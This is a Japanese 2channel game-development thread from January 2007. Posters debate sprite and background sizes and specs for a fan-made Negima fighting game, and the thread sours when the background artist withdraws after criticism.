351 :名前は開発中のものです。:2007/01/05(金) 20:00:52 ID:A/eCFI1T
元素材を2倍にしたら、ぼやけないんじゃないの?

352 :名前は開発中のものです。:2007/01/05(金) 20:23:41 ID:Dzk0vEUK
>>350
残念ながらHSP使いですorz
自己満足のために作るかな

353 :名前は開発中のものです。:2007/01/05(金) 20:42:21 ID:u0eBFCEl
ttp://gamdev.org/up/img/8538.jpg
ttp://gamdev.org/up/img/8539.jpg

下のが自分のプログラム。
作ってる奴で表示したのでプログラムはうpできないけど。
色々版権にかかわる画像でサンプル表示してるので…画像だけでソマソ。

まあぼやけれるって言われれば、そうかもしれない。

354 :319:2007/01/05(金) 21:02:42 ID:tK0wudWa
とりあえず261さんの返答待ちにします

355 :名前は開発中のものです。:2007/01/05(金) 23:56:27 ID:OH6IUmBH
>>319
>>330-332

356 :名前は開発中のものです。:2007/01/06(土) 00:16:17 ID:Dk7+T2CP
わ。
いつのまにまた再燃したのだ。
おかえりなさい

357 :319:2007/01/07(日) 03:41:41 ID:nTHSJnZm
http://gamdev.org/up/img/8559.gif

横サイズを880(200+480+200)にしてみました。
縦サイズも680(480+200)にしてあります。

でも対比はこのままで大丈夫なんだろうか;;;心配

358 :名前は開発中のものです。:2007/01/07(日) 12:15:49 ID:fZJHcwug
>>357
1段ジャンプゲーならこれぐらいだな
2段ジャンプゲーならもう少しいるかも
あとキャラは2倍率で画像フォーマットもそろえるべき
GIFは色々と厄介なうえに容量いるし

359 :名前は開発中のものです。:2007/01/07(日) 12:33:38 ID:fZJHcwug
http://gamdev.org/up/img/8560.jpg
なんだかなぁ・・・

360 :319:2007/01/07(日) 13:55:23 ID:/CeS9ipF
>>359
まぁそのまま乗せればそうなりますよね。上にも書きましたが元々対比が
違うんですから;;;

361 :319:2007/01/07(日) 14:30:46 ID:/CeS9ipF
http://www.gamdev.org/up/img/8561.gif

縦横サイズをそのまま(縦680横880)で、キャラを2倍、背景を1.5倍で
書き出してみました。こうなると横幅880でも狭くないですか?
◆57U1O5h1BMさんも261さんも居ない状態で聞く事じゃないかもしれないけど。

362 :名前は開発中のものです。:2007/01/07(日) 17:59:20 ID:GAQNCnvu
とりあえず、>>332はtypoっただけで
200+640+200の意味なんじゃないかと思う

363 :名前は開発中のものです。:2007/01/07(日) 20:03:17 ID:fZJHcwug
だから2倍ぐらい居るんじゃないかと言ったんだよ
キャラを2倍で描写するならなかなかの幅がいる
まあこちらで倍率を変えればどうにでもなることなんだが
にしてもいちいちGIFをPNGに変換するのがめんどくさい

364 :319:2007/01/07(日) 20:19:18 ID:S+lauvpz
えっと・・・363さんは216さんと同一人物ではないんですよね?多分だけど。(363=340?)
背景はとりあえずサイズと対比をみているだけなんでgifのままにしてます。
サイズと仕様がきちんと決まったらpngに変換してUPしますし、現状で合わせる必要はないと思うのですが

365 :名前は開発中のものです。:2007/01/07(日) 20:28:01 ID:fZJHcwug
>>364
一応340
>サイズと仕様がきちんと決まったらpngに変換してUPします
そうだったのか。しつこくいってすまんかった
俺はHSPなんでUPできんががんばってくれよ

366 :名前は開発中のものです。:2007/01/07(日) 20:28:50 ID:jiVPWH2f
>>357のままの比率で背景キャラともに2倍拡大でいいんじゃない?
別に端から見た目で違和感感じないけど。
>>359でキャラだけ2倍してるからおかしいんだろう。

367 :名前は開発中のものです。:2007/01/07(日) 20:36:30 ID:2njBvyMi
>>365
数字コテでいいから、付けっぱなしにしておいた方がいいと思うよ

368 :名前は開発中のものです。:2007/01/07(日) 20:50:38 ID:fZJHcwug
>>366
いくらなんでも背景まで拡大表示したら手抜き格ゲに見えるだろ

>>367
以前それでもめごとになったからファイルを上げてる人しかコテつけない方がいい
上げられない俺は名無しで十分だよ
っというかもう何も言わない方がいいか・・・

369 :319:2007/01/07(日) 20:59:17 ID:S+lauvpz
肝心の御二人がここ数日上がって来ていないのが非常に気になるんですが;;;

370 :名前は開発中のものです。:2007/01/07(日) 21:08:11 ID:02Xu8l4F
>>340は自己満足で一人で作ることにしたんでしょ?
それとも、素材だけはこのスレに上がったものを利用する気だったのだろうか

371 :名前は開発中のものです。:2007/01/07(日) 21:10:48 ID:A8vB9sqS
>>369
数日程度、いつもの事だとのんびり構えてた方がいいぞ
ただでさえ、今は年始で色々あるだろうさ

372 :名前は開発中のものです。:2007/01/07(日) 21:13:01 ID:jiVPWH2f
手抜きに見えるかは別としても、背景とキャラの粗さが違う方が
統一感が無いので違和感ありありなように思えるが。

373 :名前は開発中のものです。:2007/01/07(日) 21:14:01 ID:fZJHcwug
>>370
さすがに立ち絵とか自分で描けたらここに居ないな・・・
>自己満足で一人で作ることにしたんでしょ?
一人で作るのは仕方ないだろう。作っても上げれないなら自然に自己満足ってことになる

>>372
ならメルブラは違和感だらけだなw

374 :名前は開発中のものです。:2007/01/07(日) 21:21:32 ID:jiVPWH2f
メルブラがスタンダードかよw

375 :名前は開発中のものです。:2007/01/07(日) 21:21:54 ID:A8vB9sqS
>>372
同人でも商業でも見かける手段だし、そんな違和感もない気がする
あとは背景描く人が、当倍と倍サイズ、どっちが書きやすいかで選べばいい程度じゃないかなと思う
わざわざ当倍で書く人が倍ドット修正なんかしてたら無駄だしねぇ

376 :名前は開発中のものです。:2007/01/07(日) 21:23:09 ID:fZJHcwug
>>374
俺でも荒すぎると思うがなにか?

377 :名前は開発中のものです。:2007/01/07(日) 21:26:14 ID:fZJHcwug
>>375
俺もそうおもう
立ち絵に比べて背景は量がかなり少ないから等倍がいいね
背景が綺麗だと立ち絵のドットが荒くても許せるし

378 :名前は開発中のものです。:2007/01/07(日) 21:28:10 ID:jiVPWH2f
それが普通なら、別にそれでいいよ。
俺がおかしいだけだなんだろう。

379 :名前は開発中のものです。:2007/01/07(日) 21:43:06 ID:A8vB9sqS
>>378
普通かどうかって話じゃなく、手段としてナシではない、程度の話だと思うな
所詮は趣味と実務作業で折り合い付けて手段を選ぶだけの問題で
手を動かす人がやりやすい環境で作るのが一番よ
名無しがウダウダ言うこっちゃないわな
趣味で言い出したら、俺は320x240クラスのドット絵背景が一番好きだし
キャラドットも荒いとか感じない人だしさ

380 :名前は開発中のものです。:2007/01/07(日) 21:48:01 ID:jiVPWH2f
320x240・・・あれはいい・・すごくいい。御飯10杯はいける。

たしかに名無しがウダウダ言うこっちゃ無い罠。


381 :名前は開発中のものです。:2007/01/07(日) 22:17:52 ID:CfotWgho
背景とキャラクターが同じようなドットだと
キャラクターが見にくい、って事無い?
俺がオジサンなだけか?

382 :319:2007/01/07(日) 22:47:43 ID:S+lauvpz
えっと・・・背景の事で盛り上がってる所ですがちょっと気になったのでここで
ちょっと質問を。まぁ御二人が居ない所で話すのもどうかと思ったのですが;;;

「ネギまの格ゲーを作る」という事ですが、具体的にはどのような形を目指して
いるんでしょうか?(仕様みたいな)例えば・・・操作方法(十字キー+2ボタンor
3ボタンor6ボタン)とかが決まっていないと攻撃動作やダメージ受け動作の
必要画像枚数とか解らない感じだし。あとはシステム的に1対1の対戦格闘的
な感じを目指すのか、複数同時対戦的なものを目指すのかとか。
最初に書きましたが、肝心の御二人が居ない状態で話し合うのも微妙だとは思う
のですがここで一度方向性みたいなもの(希望)を話してみるのもいいんじゃ
ないかなと。


383 :名前は開発中のものです。:2007/01/08(月) 15:13:11 ID:8D+iTYWg
前にボツになったけど、MUGENでいいんじゃね?
2対2もできるし。とりあえずこれのキャラだけ作ればゲーム作りの練習にもなるし、ネギま専用のゲームを作りたくなったら移植させればいいのでは?

384 :名前は開発中のものです。:2007/01/08(月) 16:29:12 ID:eOD5RIcD
MUGENで作るなら各々個人でやればいい
そしてこのスレの意味がなくなる

385 :名前は開発中のものです。:2007/01/08(月) 18:38:24 ID:oVUSx+1N
ドットキャラ綺麗ですね
描くの大変だとは思いますが期待してますっ

386 :名前は開発中のものです。:2007/01/08(月) 20:52:58 ID:wMjk7SwF
>>383
数字コテ付けてる奴がこのスレのプログラマーでUPする人だが
それ以外の人は自由に自分で決めて作ってもいいんじゃね?


387 :名前は開発中のものです。:2007/01/09(火) 13:34:31 ID:FD9H5kW/
MUGENを改造するという選択肢は無しか?

388 :名前は開発中のものです。:2007/01/09(火) 13:58:24 ID:gIGKLTLt
無限厨ウザイ

389 :名前は開発中のものです。:2007/01/09(火) 17:27:15 ID:Ya78pOn1
ねぎま!のカクゲーあるぞ
http://ne2net.hp.infoseek.co.jp/soujomanual.html


390 :名前は開発中のものです。:2007/01/09(火) 18:41:34 ID:f9yr3JKL
>>389
ありえないほどクオリティーが低い・・・

391 :名前は開発中のものです。:2007/01/09(火) 19:22:26 ID:Tes7Pfee
明日菜の攻撃範囲激狭なんですけどw

392 :名前は開発中のものです。:2007/01/09(火) 20:41:39 ID:+URs0bUB
>>389
前にもこれやった事あるな
糞ゲー

393 :名前は開発中のものです。:2007/01/09(火) 20:53:17 ID:hPxOVpqS
恐ろしいほどの糞ゲー・・・
せっちゃん強すぎワロタ

394 :名前は開発中のものです。:2007/01/09(火) 21:45:50 ID:gbHIunGJ
もう一個発見
ttp://fukuinn4.hp.infoseek.co.jp/kakunegi.html

395 :名前は開発中のものです。:2007/01/09(火) 23:14:50 ID:f9yr3JKL
>>394
こっちの方がクオリティーたけぇw
隠しキャラのタカミチにはワロタwww
何あの鬼みたいな強さなのに弱以外立ち絵そのままwwwww

396 :319:2007/01/10(水) 01:36:48 ID:cP3Tp76a
http://www.gamdev.org/up/img/8583.gif

一応背景あのまま書き進めてるんですが良いんでしょうか?

397 :名前は開発中のものです。:2007/01/10(水) 16:38:55 ID:n3jRczoR
とりあえずそのままでいいんじゃないだろうか

398 :名前は開発中のものです。:2007/01/10(水) 18:31:36 ID:CHzNcTtD
幅が狭くないか

399 :名前は開発中のものです。:2007/01/11(木) 06:32:31 ID:knh/tSGU
目がちかちかする気がする

400 :名前は開発中のものです。:2007/01/11(木) 08:24:04 ID:nWabBXTd
線の色が真っ黒だからくっきりしすぎなんで目が痛くなるかもね
線の色をもうちょっと明るくすると大分良くなると思うよ
個人的にR8B8G10ぐらいにするといいかも

401 :名前は開発中のものです。:2007/01/11(木) 11:04:44 ID:BwFwtEYG
俺的には8bitじゃなくて24bit(ry

402 :名前は開発中のものです。:2007/01/12(金) 20:13:11 ID:uazR5UcA
いやいや、これから超絶技巧がみられるのさ!

403 :名前は開発中のものです。:2007/01/12(金) 20:51:50 ID:26YESMmS
近日中に2ch潰れちゃうけど…
どうする?

404 :名前は開発中のものです。:2007/01/12(金) 20:56:47 ID:s19GLBNi
財産の差し押さえなんだろうけど、
業務に支障をきたすような介入を裁判所が許すわけないじゃん

と信じたい

405 :名前は開発中のものです。:2007/01/12(金) 21:02:02 ID:KvUvXFb+
とりあえずあと2週間あるから様子みよう
危なそうだったら避難所作る

406 :名前は開発中のものです。:2007/01/12(金) 21:10:39 ID:26YESMmS
ひょっとするともっと早いかもよ。前触れがないからキツイよな

407 :名前は開発中のものです。:2007/01/12(金) 21:19:25 ID:+lL0gYH8
ある日突然、差し押さえした会社員君のアフェサイトに繋がるんだろ?w

408 :名前は開発中のものです。:2007/01/12(金) 23:09:30 ID:yFvt11yE
じゃあ、これからはその会社員とやらを訴えればいいんだな。

409 :名前は開発中のものです。:2007/01/12(金) 23:55:03 ID:GZDA1usi
塩沢兼人?

410 :319:2007/01/13(土) 20:16:00 ID:XPw2iBJn
◆57U1O5h1BMさんも261さんも戻ってきませんね。放棄しちゃったかな?


411 :名前は開発中のものです。:2007/01/13(土) 21:56:44 ID:B47ugQlw
このスレじゃ一ヶ月放置なんてザラ
それ以上すら

412 :261:2007/01/13(土) 22:27:34 ID:gNtIULX6
一応1日1回はスレ見てますよ
もうちょっと絵がたまればまとめて実装します

413 :319:2007/01/13(土) 22:43:52 ID:XPw2iBJn
>>261
背景はあのサイズで大丈夫なんでしょうか?あと対比とか・・・
背景を拡大せずに表示するのであれば書き直し(修正)しますし

414 :261:2007/01/14(日) 22:09:00 ID:aomarXQ8
>>319
仕様が特になにも決まってないので何ともいえんです
むしろこのサイズで描くからこう使ってよってほうがありがたい
俺は企画者ではなくてプログラマなので

スレ住人にこうした方がいいんじゃね?と言われればだいたいそんな感じで実装します

415 :319:2007/01/15(月) 00:25:27 ID:B4OQZPWk
http://www.gamdev.org/up/img/8619.gif

http://www.gamdev.org/up/img/8620.gif

結局そのまま書き進めてます。現状はこんな感じです。上が全部を統合した
モノで下が各パーツ毎に分けた物です。
企画(仕様)に関しては一度ここで聞いてみたのですが、MUGENでという意見
ぐらいでした。ですので(?)自分の勝手な希望を書いてみます。
操作系は方向キー+弱・強・SPの3ボタン制。出来ればキャラは拡大表示せ
ずに春日雪人氏のHP(ほしのはて)にあるドットキャラサイズぐらいで動
いて欲しいなと。対戦に関しても1対1ではなく複数で出来たら楽しいかな
とか通信対戦できたらもっと嬉しいなとか・・・。スミマセン勝手な事ばかり;;;



416 :名前は開発中のものです。:2007/01/15(月) 00:39:20 ID:27SbztqG
>>415
まぁ、手を動かしてる人に名無しが言うこっちゃないと思うけど
ある程度は出来る事、出来ない事を考えて言った方がいいかと
コテつけてる分、余計にな

417 :名前は開発中のものです。:2007/01/15(月) 00:45:57 ID:91QBPd7K
出来るか出来ないかは
プログラマじゃないとわからんと思うぞ。


418 :名前は開発中のものです。:2007/01/15(月) 00:52:08 ID:27SbztqG
>>417
スマン、キャラドットの事の方だった
まぁ、聞き流してくれていいや、水を差してスマン

419 :319:2007/01/15(月) 23:29:41 ID:ZgmImmNW
>>418
キャラドットの方が出来ないとは?一応自分の希望で書いたのは「今ある
キャラ画像を春日雪人氏のHP(ほしのはて)にあるドットキャラサイズ
ぐらいに拡大して表示して欲しい」という事ではなく、「春日雪人氏のH
P(ほしのはて)にあるドットキャラサイズぐらいで書いた方がいいんじ
ゃないか?」という事だったんですが、それは無理なのでしょうか?
自分にはプログラム知識がないのでよく判らないのですが、あのサイズ(
春日雪人氏の)では動かせないという事はないですよね?それともうひと
つ質問。小さいサイズの画像を拡大表示して動かすのと、大きいサイズの
画像を等倍表示して動かすのではどちらが大変(?)なんでしょう?

あと昨日書いた希望を改めて考えてみたんですが、複数対戦になる場合
ガードボタンも必要ですよね。1対1なら要らないんですけど。
一応そんな感じですが、あくまでも自分の勝手な希望ですのでw

420 :名前は開発中のものです。:2007/01/15(月) 23:51:59 ID:sg9WHuRO
キャラドットのことって、多分プログラムのことでは無いのではないか?
単純にそれを描く手間のことじゃね?

プログラムはべつに大変じゃない。
むしろ等倍の方が楽だぞ。
DirectX8以降なら、どうせ2Dポリゴンにテクスチャーかスプライトだろうし。

421 :名前は開発中のものです。:2007/01/16(火) 00:40:20 ID:ajukXZIE
>>419
意図してたのは、打ち直しの手間の事
自分がドット打つから、それ言われたら辛いなぁと思っただけなんだ
自分がそう思っただけで実際にどうかは◆57U1O5h1BM氏次第だから、
コテ同士で打ち合わせてみればいいと思う

422 :名前は開発中のものです。:2007/01/16(火) 01:21:47 ID:2IcZTKBy
もう70*100で決まってたんじゃないの?
キャラに合わせて背景でそ。

423 :319:2007/01/16(火) 01:52:00 ID:Qng6LErK
>>420&421
確かに、書き直しの手間はあるかもしれませんね。でも今後の事を考えると
今のサイズは小さいんじゃないかなと思うんですよ。正直あのサイズでは
キャラの表情とか書きづらい気もしますし。

>>422
えっと下を見て頂ければすぐなんですが、背景いい加減なんで結構許容範
囲なんじゃないかなと思ってます。まぁ小サイズのエヴァを2倍で表示し
た場合は背景も2倍表示にするか、2倍に対応できるサイズに書き直すか
しないと対比がおかしいんですけどね。

http://www.gamdev.org/up/img/8637.gif

424 :名前は開発中のものです。:2007/01/16(火) 02:16:24 ID:ajukXZIE
>>423
なんていうか、ギルティギアな書き方のドット絵と
ストIIな書き方のドット絵じゃ、かなり違う技術なんだな
例えば319氏の背景の書き方を、水彩風にしてくれって言われた感じだろうか
たとえに無理があるけど、ニュアンスだけ拾ってくれればいいや

425 :名前は開発中のものです。:2007/01/16(火) 02:22:17 ID:2IcZTKBy
>>423
名無しが言うのもアレだけど
57氏の絵柄に惚れてるのに、そりゃないぜベイベー!
認めん!断じて認めんぞおおお!!!

ついでに件のサイトは前スレで既出。

426 :名前は開発中のものです。:2007/01/16(火) 13:24:47 ID:f3J1Z39f
なんか否定的な書き込みしかないので俺の意見も
キャラのサイズ変更には賛成です
小さいモノをわざわざ拡大して表示する事に意味が無いなら尚更に


427 :名前は開発中のものです。:2007/01/16(火) 17:31:12 ID:aVa6Wvlu
というか背景を一人でドットってかなり無理あるーよ
背景画像+gifに変えちゃえば?


428 :名前は開発中のものです。:2007/01/16(火) 21:32:28 ID:R0aHVn0W
というか319が格ゲーをやったことが無いに一票

429 :名前は開発中のものです。:2007/01/17(水) 01:00:47 ID:wexH63K8
折角の職人をいちいち追い出そうとする糞住人は
一回全員氏ねばいいと思う

430 :名前は開発中のものです。:2007/01/17(水) 08:39:36 ID:+d+ZbQwf
はいはいageますからねぇ

431 :名前は開発中のものです。:2007/01/17(水) 11:33:32 ID:A+2O3bTu
もう時代遅れでしょ・・・ネギまは・・


432 :名前は開発中のものです。:2007/01/17(水) 12:18:02 ID:DHAv+qos
時代遅れでもいいんじゃね?
己の好きな物を作る・・・そこがイイ!

433 :名前は開発中のものです。:2007/01/17(水) 12:21:30 ID:PdoF5QNZ
まぁ、作ってないけどな
口出しだけ立派なお方は一杯いるけど

434 :名前は開発中のものです。:2007/01/17(水) 12:26:03 ID:DHAv+qos
いちいち揚げ足とってるんじゃねーよ

435 :名前は開発中のものです。:2007/01/17(水) 12:35:35 ID:rkhp17/C
とられる方が悪い。

436 :名前は開発中のものです。:2007/01/17(水) 12:45:24 ID:PdoF5QNZ
>>434
IDがDHAか

437 :319:2007/01/18(木) 20:37:40 ID:XK/0uGHm
昨日一昨日と返事書こうと思ったんですがアク禁に巻き込まれて出来ませんでした;;;

>>424
ゴメンなさい、全然伝わりません。
確かにギルティギアとストUのキャラの書き方は違うと思います。でもそれは
元々キャラクターの画像サイズが全くと言っていい程違うからでしょ?それと
自分の意見(?)はキャラクターサイズを大きくした方がいいんじゃないか?
という事で画風を変えた方がいいとは言ってないんです;;;例で春日雪人氏の
画像を挙げてしまったのが悪かったのかな。

>>425
認めんと言われましても;;; 別に只の希望ですし・・・

>>426
ありがとうございます(?)

>>427
背景を1人で;;;えっと・・・自分1人で書き続けるつもりはないんですがw
背景画像+gifって言うのは・・・写真的なものとかフリーのものと組み合わ
せてという意味なんですかね?自分的には一枚書いた方が楽なんで組み合
わせる方法は取らないと思いますが、そういう方法もありなんですかね?

>>428
格ゲーですか?やった事ありますよ。最後にやったのは北斗の拳だったか
な。というか真面目に返事する必要ない相手だったかなw

えっと・・・結局261氏が組むゲームの仕様は誰が決めるんでしょうかね?

438 :名前は開発中のものです。:2007/01/18(木) 21:21:19 ID:114ifteA
>>437
画風じゃなくて画法の話をしてね?

439 :名前は開発中のものです。:2007/01/18(木) 21:25:53 ID:Y+8maqWL
>>433
前スレでも口論ばっかだったから慣れたw

>>438
これは初心者丸出しだなw

絵師は問題ないが背景書いてる奴に問題があるな。

440 :名前は開発中のものです。:2007/01/18(木) 22:30:20 ID:cqQyAQ5Z
>>439
名無しが職人にごちゃごちゃ言うほうが問題あると思うがな。

441 :名前は開発中のものです。:2007/01/18(木) 22:32:09 ID:7vLI7PQc
あとは◆57U1O5h1BM氏と319氏で話し合いよろしく

442 :名前は開発中のものです。:2007/01/18(木) 23:33:25 ID:jrPmT9+a
http://ja.wikipedia.org/wiki/SDL

443 :名前は開発中のものです。:2007/01/18(木) 23:52:06 ID:114ifteA
>>437
とりあえず件のサイトのサイズでアニメーションを書こうとすると
専属のコンテ書きでもいてくれないと、やってられなくなるよ

まず動かす事を考えるなら、◆57U1O5h1BM氏のサイズが普通だし
動きとか絵柄とかも作りやすいサイズ
多少小さいと感じてるようだけど、仮に319氏の希望してる多数キャラが可能なら
そんなこと感じなくなるとも思う

444 :名前は開発中のものです。:2007/01/19(金) 00:30:06 ID:RsBU2cJ/
既に決まって動き出してる事柄(キャラサイズ)に
今更変更加えるってなんなの?

なんでも共通することだが、発射している部分の仕様変更は萎えるぞ。

445 :319:2007/01/19(金) 00:32:59 ID:kg5SL16D
>>443
えっと・・・元々只の希望だったんでココまで広げられてもなぁ〜っての
が正直な感じです;;; 動かす事を考えるならあのサイズが普通だとい
う事ですが、他所で作ってる格ツクのキャラは「件のサイトのサイズ」
より大きいですし、そちらではこのサイズ(70×100)の方が珍しい感
じだったりします。

とりあえずネギま格ゲー実現化(?)に少しでも協力できればと思い
色々と書いてみたりしてきましたが、名無しに戻る事にします。
今までUPした背景データは破棄してください。まぁ使えるような代物
ではなかったですが一応。

まぁそんな感じで製作頑張ってください >>261氏 ◆57U1O5h1BM氏 

446 :名前は開発中のものです。:2007/01/19(金) 00:42:27 ID:RsBU2cJ/
後味悪りぃな。
なぜそこまで頑ななのか。
エヴァの作業分を全て破棄しなければならないという問題なのに。


447 :名前は開発中のものです。:2007/01/19(金) 01:00:45 ID:puzdXOFk
>>445
他所は他所、家は家って言われなかったか
ていうか格ツクってw

448 :名前は開発中のものです。:2007/01/19(金) 01:27:56 ID:I79ifW5k
>>446
そんなにムキにならなくてもw
大きいサイズじゃ描けないって素直に言えばいいのにw

つかまた1人職人が去ったか

449 :名前は開発中のものです。:2007/01/19(金) 03:06:26 ID:MR7fQ9Ul
まぁ、名無しに混じって◆57U1O5h1BMも>>319叩きしてたんだろうな
必死にドット絵がどうのこうのと噛み付いてた奴が怪しくねw
素直にあのへたれドット絵しか書けませんって謝るなら許してやったのにw
つか、あんな絵でどうしろっつんだwクォリティ低すぎますってw
今時ハイレゾで絵の書けない奴なんか、絵師じゃねーよw
>>319は災難だったな
多分、他のゲームでも背景書きとしてやっていけるよ
頑張ってくれ、この糞スレから早々におさらばできて
ある意味良かったかもしれんぞ

450 :名前は開発中のものです。:2007/01/19(金) 03:07:35 ID:2l/VjfHK
>>449=>>319

451 :名前は開発中のものです。:2007/01/19(金) 03:09:00 ID:MR7fQ9Ul
>>450
短絡思考乙w
あ、◆57U1O5h1BMさんでしたかw失礼しましたw

452 :名前は開発中のものです。:2007/01/19(金) 03:15:06 ID:XP/hWG3w
久しぶりに覗いてみたら荒れてんなー
とりあえず
>>451
こ れ は ひ ど い

453 :名前は開発中のものです。:2007/01/19(金) 03:16:18 ID:MR7fQ9Ul
>>452
まぁ、ひどいなw
だが、新規職人をわざわざ追い出すこのスレもひどいぞw

454 :名前は開発中のものです。:2007/01/19(金) 03:17:17 ID:2l/VjfHK
>>453
もういいよ
391お疲れさん

455 :391:2007/01/19(金) 03:21:14 ID:MR7fQ9Ul
>>454
これでいい?

456 :名前は開発中のものです。:2007/01/19(金) 03:24:09 ID:N6pIf6nD
とりあえずwikiとかでまとめた方がいいじゃないのかな
情報を整理するのは大切

457 :名前は開発中のものです。:2007/01/19(金) 08:56:26 ID:0/s4Mf9w
ま、こんなものだなw

458 :名前は開発中のものです。:2007/01/19(金) 09:03:24 ID:b2sIMa0r
糞企画晒しage

459 :名前は開発中のものです。:2007/01/19(金) 12:00:51 ID:RsBU2cJ/
あーぁ、やっぱりな。

460 :名前は開発中のものです。:2007/01/19(金) 13:52:40 ID:I79ifW5k
結局まともに作業してた背景氏が去ってるし
プログラマーやキャラ絵氏は作業してんのか?

461 :名前は開発中のものです。:2007/01/19(金) 14:17:33 ID:Emlf7OxE
製作途中で逃げ出したから、まともに作業していた風に見えるだけだろ。
あんなパースの狂った目のチカチカする背景とか正直イラネ。

462 : ◆57U1O5h1BM :2007/01/19(金) 14:27:39 ID:q9QJsh5T
>>451

463 :名前は開発中のものです。:2007/01/19(金) 14:28:46 ID:RsBU2cJ/
>>461
作業途中だから緑にしてんだろ。

紛れて妙なのが混じってる気配がする。
ID:MR7fQ9Ul とか ID:Emlf7OxE
>>319叩きとか言ってるが、本当の叩きとはクオリティ云々で因縁をつける事だ。
これは双方陥れるための気がしてきた。


464 : ◆57U1O5h1BM :2007/01/19(金) 14:35:41 ID:q9QJsh5T
今までずっと書き込みしてなかったけど、ちゃんとみてたよ。
ちょいとこっちは別の方で忙しくて作業ができてないって状態。

465 :名前は開発中のものです。:2007/01/19(金) 14:49:33 ID:Emlf7OxE
>>463
ごめ、何が言いたいのか伝わらないから、もう少しまともな日本語でお願い。


466 :名前は開発中のものです。:2007/01/19(金) 15:43:20 ID:m/91n4d3
お前らとりあえず餅つけって

467 :名前は開発中のものです。:2007/01/19(金) 18:16:07 ID:MR7fQ9Ul
>>464
見てたんなら、>>319に一言くらい返事してやりゃ良かったのに

468 :名前は開発中のものです。:2007/01/19(金) 20:36:16 ID:I79ifW5k
>>467
いやいや、返事はしてたでしょ。名無しでw
名無しの発言でおかしいのがいくつかあるし。
動かすことを考えるならあのサイズが普通とか
エヴァの作業分を全て破棄しなきゃならないとか


469 :名前は開発中のものです。:2007/01/19(金) 20:39:27 ID:6bqG3OhA
えっと、元319です。なんだか居ない間にえらい事になってますね;;;

>>446
何故後味悪いんでしょう?実作業に入ってる製作者ならともかくw

>>447
あのサイズ(70*100)が普通だと言うんで他の例を挙げてみただけです。
つか他所は他所、ウチはウチというのであればココでのキャラサイズは
70*100が普通って事になりますよね。まぁ1キャラで基本動作も出来て
はいないようですが。

>>448
名無しに戻るだけなんで去ってはいないっすょ

>>449
どうでしょう?<叩きに まぁ自分的には叩きとはあんまり思っていな
いんですけどね。ハイレゾに関しては・・・俺は違うと思います。指定され
たサイズで最後まで描くのが絵師さんなのでは?って感じです。あと実
は今まで背景って描いた事なかったんですよ。なので背景書きとしてや
って行こうとは思ってないですw

470 :名前は開発中のものです。:2007/01/19(金) 20:40:03 ID:6bqG3OhA
>>450
短絡思考ですねw
それと・・・自分は319(元)であって391ではないっすょ

>>461
えっと・・・前にココで書かれていた通りR8 G8 B10 には既に変更
してあったんですけど(最後の方に挙げたモノとか)気付かれなかった
んでしょうね。あのあとまだ色が濃すぎると思い既に色変更してあった
りします。まぁUPはしませんがwパースに関してはまったくその通り。
はじめはきちんとあわせて描いていたんですがドットのずれが気持悪く
て辞めました。まぁあのサイズの背景で完璧にパースを合わせて描くの
は自分には無理です。

>>463
その通りです。<作業中なんで背景は緑
双方を陥れる・・・???

>>464
頑張ってくださいw

>>467
返事が出来ないほど忙しかったんでしょう。あるいは返事をする必要なし
って思ったのか。

まぁそんな感じで製作頑張ってくださいw

471 :名前は開発中のものです。:2007/01/19(金) 20:45:05 ID:VwhKWgx0
無闇に「w」を付けるのはやめてくださいw

472 :名前は開発中のものです。:2007/01/19(金) 20:50:07 ID:RsBU2cJ/
>>469
俺のレスのあおにやめます宣言だったから
なんか俺のせいみたいで後味悪いんだよ。ごめんよ。

473 : ◆57U1O5h1BM :2007/01/19(金) 20:57:38 ID:q9QJsh5T
やっぱりある程度の仕様考えてから作業したほうがいいかも、
一旦仕切りなおしで一から仕様云々決めていかない?

474 :名前は開発中のものです。:2007/01/19(金) 21:04:32 ID:6bqG3OhA
>>471
ゴメンなさいw無意識ですw

>>472
自分が辞退(?)した事を誰かの所為にするのであれば、貴方もその
ひとりかもしれませんねw

>>473
頑張ってくださいw

475 :名前は開発中のものです。:2007/01/19(金) 22:57:16 ID:2D4fqdgl
仕様決めるのはいいけど、ある程度引っ張っていく人も必要だと思う。
261氏も作ろうと意思があるならもうちょっと積極的に意見言ってもいいと思う。
『俺は企画者ではなくてプログラマなので 』
じゃなくて、一緒になって意見出せばいいと思う。


476 :名前は開発中のものです。:2007/01/20(土) 00:41:44 ID:rdEl3Vqm
HSPの俺に決定権はないがとりあえず荒れずに立ち絵と背景を進めてほしい
毎回同じことの繰り返しで一からやり直しになってないか?
俺の予想ではアンチネギまの奴が毎回荒らしてるんじゃないかと

477 :名前は開発中のものです。:2007/01/20(土) 01:12:04 ID:kxtSPet4
まぁ誰かがきちんと仕様を決めなきゃ先には進まんだろうね。
積極的に意見を出してもグダグダ文句ばかり出る状況じゃ無理だろうけどね。

478 :名前は開発中のものです。:2007/01/20(土) 01:38:55 ID:UHNhRlqp
261氏の実力が不明だな。
複数可能なのか、1vs1なら確実とか
しないと思うけど、ネット対戦可能とか
あと、エフェクトは2Dなのか3Dなのかとか?


479 :名前は開発中のものです。:2007/01/20(土) 09:34:53 ID:dtYUHu/U
HSPの人は一々自己主張が邪魔だな
絵が欲しいだけなんだから黙って見学だけしてればいいのに

480 :名前は開発中のものです。:2007/01/20(土) 10:31:27 ID:7dcfRHjI
素数でも数えて落ち着けって

481 :名前は開発中のものです。:2007/01/20(土) 11:59:42 ID:QpZDWp0h
261氏は2Dも3Dもいけるって言ってたからエフェクト3Dもいけるんじゃないか?
どうせなら派手でキレイなのがいいな。

複数、ネット対戦は基礎が出来たらいくらでも足せると思う。
それと企画考えるのにHSPも何も関係ないとおもうが。

482 :名前は開発中のものです。:2007/01/20(土) 12:28:59 ID:z8fKn1at
261氏でもないのに勝手に出来るとか出来ないとか発言しない方がいいと思うぞ。進めていくのはコテ2人なんだし

483 :名前は開発中のものです。:2007/01/20(土) 12:32:20 ID:ydis0Dpf
>>473
仕様を決めなおした際
仮にドット絵のサイズを大きくする事になった場合
書き直しは可能ですか?

484 :名前は開発中のものです。:2007/01/20(土) 13:04:16 ID:IBWfAnwI
まず最低限の素材だけ作って単純なゲームを組み上げてみたらどう?

ドット絵なら、「通常立ち」「移動」「やられ」「攻撃」の4枚のみ。
背景は「640*480」「800*600」「1280*1024」といった、四対三のサイズで描かれた一枚絵。
プログラムは「イーアルカンフー」を目標に、しっかり動作する格闘ツールを作る。
これでとりあえず格ゲーの「骨格」くらいにはなるでしょ。

「骨格」を元に理想的な状態になるように肉付けしていけば、先々でつまずく事も少ないはず。
実現できるか分からないシステムや見栄えを妄想するよりも、各々が出来る範囲で動いて行く方がいいと思うよ。

